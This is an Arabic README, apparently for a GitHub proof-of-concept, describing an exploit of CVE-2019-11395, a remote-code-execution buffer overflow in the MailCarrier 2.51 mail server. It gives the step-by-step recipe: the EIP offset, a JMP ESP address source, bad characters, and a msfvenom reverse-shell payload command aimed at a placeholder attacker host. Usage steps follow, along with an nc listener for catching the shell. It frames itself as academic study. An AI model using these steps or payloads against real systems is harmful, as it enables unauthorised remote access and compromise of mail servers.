استغلال CVE-2019-11395 🛡️

حول CVE-2019-11395 🕵️

تصف ثغرة CVE-2019-11395 ثغرة تجاوز سعة المخزن المؤقت في تطبيق البريد الإلكتروني MailCarrier 2.51، مما يسمح بتنفيذ التعليمات البرمجية عن بُعد. تحدث الثغرة في عمليات SMTP RCPT TO، POP3 USER، POP3 LIST، POP3 TOP، أو POP3 RETR.

خلال الدراسة الأكاديمية، تم التركيز على عمليات POP3 لإنشاء إثبات المفهوم (PoC). تم تحديد أن إرسال 6000 بايت إلى التطبيق يتسبب في توقف عمله، مما يكشف عن ثغرة تجاوز سعة المخزن المؤقت.

خطوات الاستغلال 🔍

1. استخدم msf-pattern_create -l 6000 لتحديد EIP بدقة.
2. تم تحديد إزاحة EIP باستخدام msf-pattern_offset -q 6E47386E -l 6000، مما أدى إلى إزاحة EIP بقيمة 5095.
3. تم تحديد expsrv.dll مع تعطيل ASLR، مناسب لـ JMP ESP.
4. تم تحديد الأحرف السيئة \x00\x0a\x0d أثناء اختبارات الأحرف غير الصالحة.
5. تم إنشاء الحمولة باستخدام msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 exitfunc=thread -f python -b "\x00\x0a\x0d" -v shellcode.
6. تم تعديل كود CVE-2019-11395.py لتلائم الحمولة.
7. تم فتح اتصال باستخدام nc -lnvp 4444 وتنفيذ الاستغلال (CVE-2019-11395.py) للوصول إلى البيئة والتحقق من CVE الموصوفة.

الاستخدام 🚀

اتبع هذه الخطوات لاستخدام الاستغلال:

1. قم بإنشاء الحمولة باستخدام msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 exitfunc=thread -f python -b "\x00\x0a\x0d" -v shellcode.
2. انسخ ناتج أمر msfvenom.
3. اضبط كود CVE-2019-11395.py لاستبدال متغير shellcode بالناتج الذي حصلت عليه من أمر msfvenom.
4. نفذ الاستغلال (CVE-2019-11395.py) للوصول إلى البيئة والتحقق من CVE الموصوفة.

البيئة المخترقة 📸

🔗 تواصل معي

قم بزيارة صفحتي على LinkedIn